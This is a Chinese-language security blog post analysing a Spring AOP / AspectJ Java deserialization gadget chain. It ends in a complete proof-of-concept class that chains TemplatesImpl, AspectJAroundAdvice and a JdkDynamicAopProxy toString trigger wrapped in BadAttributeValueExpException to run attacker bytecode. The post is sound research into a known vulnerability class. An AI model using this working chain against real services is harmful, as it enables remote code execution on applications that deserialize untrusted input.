SpringAop链
前言
前面学习Hessian反序列化时,发现只有Rome反序列化这一条链是我学习过的,现在来补一补没有学过的链子
环境搭建
该链依赖于spring-aop
和aspectjweaver
两个包,在pom.xml文件中导入以下依赖
或者在springboot的spring-boot-starter-aop
中自带这两个依赖
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>5.3.19</version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9.8</version> </dependency>
|
反序列化链
反序列化链分析
该反序列化链的sink点在AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
方法中,这里可以看到很标准的反射调用方法的代码,方法、对象、参数都是我们可控的

但是该类是一个抽象类,我们无法将他实例化,且该方法为protected
,我们要找到有个可以调用该方法的地方
我们找到了AspectJAroundAdvice
类,他继承了AbstractAspectJAdvice
类

且AspectJAroundAdvice#invoke
方法可以调用invokeAdviceMethodWithGivenArgs
方法


AspectJAroundAdvice#invoke
接受参数为MethodInvocation
,而ReflectiveMethodInvocation#proceed
这里调用了invoke
方法,interceptorOrInterceptionAdvice可控,同时传入的参数也可以对应上

ReflectiveMethodInvocation
并没有继承Serializable
接口,因此需要找到一个实例化的地方

最终在JdkDynamicAopProxy#invoke
中找到ReflectiveMethodInvocation
的实例化,且调用了proceed
方法
JdkDynamicAopProxy
是一个动态代理,在调用接口中声明的方法时,就会触发invoke方法,从而触发我们的payload

从零开始的构造POC生活
链尾就是TemplatesImpl
动态加载字节码,这里就不多说了
1 2 3 4 5 6 7 8 9
| public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates,"_bytecodes",new byte[][]{bytes}); setField(templates,"_name","CurlySean"); setField(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer(); }
|
下一步我们就要通过AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
方法,来调用templates.newTransformer()
首先通过反射将SingletonAspectInstanceFactory
中的实例改为我们的恶意TemplatesImpl
对象,然后传入newTransformer
方法和templates
实例,来构造AspectJAroundAdvice
类,调用invokeAdviceMethodWithGivenArgs
即可打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates,"_bytecodes",new byte[][]{bytes}); setField(templates,"_name","CurlySean"); setField(templates,"_tfactory",new TransformerFactoryImpl());
Method newTransformer = templates.getClass().getDeclaredMethod("newTransformer"); AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut(); SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templates.getClass()); setField(singletonAspectInstanceFactory,"aspectInstance" ,templates);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(newTransformer, aspectJExpressionPointcut, singletonAspectInstanceFactory);
Method invokeAdviceMethodWithGivenArgs = AbstractAspectJAdvice.class.getDeclaredMethod("invokeAdviceMethodWithGivenArgs",Object[].class); invokeAdviceMethodWithGivenArgs.setAccessible(true); invokeAdviceMethodWithGivenArgs.invoke(aspectJAroundAdvice,new Object[]{null}); }
|
想要调用AbstractAspectJAdvice#invokeAdviceMethodWithGivenArgs
,我们需要用到AspectJAroundAdvice#invoke
方法


在我们不做其他赋值操作时,我们这里的this.aspectJAdviceMethod.getParameterCount
为0
,actualArgs就为null,可以成功调用newTransformer
无参方法

调用AspectJAroundAdvice#invoke
需要用到ReflectiveMethodInvocation#proceed
方法,其中interceptorsAndDynamicMethodMatchers
为我们的可控参数,且invoke
方法处传入值的类也符合AspectJAroundAdvice#invoke
方法接受参数类型

之前我们说到ReflectiveMethodInvocation
并没有继承Serializable
接口,因此需要JdkDynamicAopProxy#invoke
方法,其中chain
参数就是我们所需可控的interceptorsAndDynamicMethodMatchers
参数
而chain
是从this.advised
中获取的,因此我们需要对advised
参数进行赋值


到这里我们只需要调用动态代理的特定方法,就可以走到JdkDynamicAopProxy#invoke
方法中,有一点需要注意的是,在其构造方法中,如果以下两个条件都不满足,则会抛出异常(当然如果我们想打通这条链子的话,是必须要对advised
进行赋值的,这里只是说在自行调试过程中的问题)

要触发JdkDynamicAopProxy#invoke
,就得把JdkDynamicAopProxy
作为InvocationHandler
去创建一个动态代理
因为JdkDynamicAopProxy
代理的是 AdvisedSupport
类,因此我们的接口也应该传AdvisedSupport
的接口,也就是Advised

我们知道在Java 动态代理中,只有接口中声明的方法 被代理调用时,才会触发到代理类的invoke
方法,当我尝试调用接口中声明的方法尝试触发反序列化链时方法时,却发现没有成功
主要原因在JdkDynamicAopProxy#invoke
中的这个部分,这里的逻辑是:判断当前是否在不透明代理上调用 Advised 接口的方法
那我们调用Advised
接口的方法,就会提前return,不调用又无法触发invoke
方法,该怎么解决呢?

JDK 动态代理自动处理了 Object 类中的某些方法
虽然 toString() 并不在接口中声明,但 JDK 动态代理机制对以下三个方法进行了特殊处理:toString、hashCode、equals
这三个方法被认为是“基础方法”,代理对象内部做了特殊适配
因此我们可以使用toString
、hashCode
、equals
三个方法来触发invoke
,但是对于equls
方法和hashCode
方法,也会提前return,因此可以利用的只有toString
方法

最终我们的Poc是这样的,可以通过toString
直接触发,也可以包装一个readObject反序列化触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| public class AopPoc { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("target/classes/com/AOP/Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setField(templates,"_bytecodes",new byte[][]{bytes}); setField(templates,"_name","CurlySean"); setField(templates,"_tfactory",new TransformerFactoryImpl());
Method newTransformer = templates.getClass().getDeclaredMethod("newTransformer"); AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut(); SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templates.getClass()); setField(singletonAspectInstanceFactory,"aspectInstance" ,templates);
AspectJAroundAdvice aspectJAroundAdvice = new AspectJAroundAdvice(newTransformer, aspectJExpressionPointcut, singletonAspectInstanceFactory);
AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.addAdvice(aspectJAroundAdvice); Class proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor jdkDynamicAopProxyClassConstructor = proxyClass.getDeclaredConstructor(AdvisedSupport.class); jdkDynamicAopProxyClassConstructor.setAccessible(true); Object proxyInstance = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Advised.class}, (InvocationHandler) jdkDynamicAopProxyClassConstructor.newInstance(advisedSupport));
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("proxyInstance"); setField(badAttributeValueExpException,"val",proxyInstance); serialize(badAttributeValueExpException); unserialize("ser.bin"); }
public static void setField(Object obj , String field, Object value) throws IllegalAccessException, NoSuchFieldException { Class objClass = obj.getClass(); Field objField = objClass.getDeclaredField(field); objField.setAccessible(true); objField.set(obj,value); }
public static void serialize(Object obj) throws Exception { java.io.FileOutputStream fos = new java.io.FileOutputStream("ser.bin"); java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { java.io.FileInputStream fis = new java.io.FileInputStream(Filename); java.io.ObjectInputStream ois = new java.io.ObjectInputStream(fis); Object obj = ois.readObject(); ois.close(); return obj; } }
|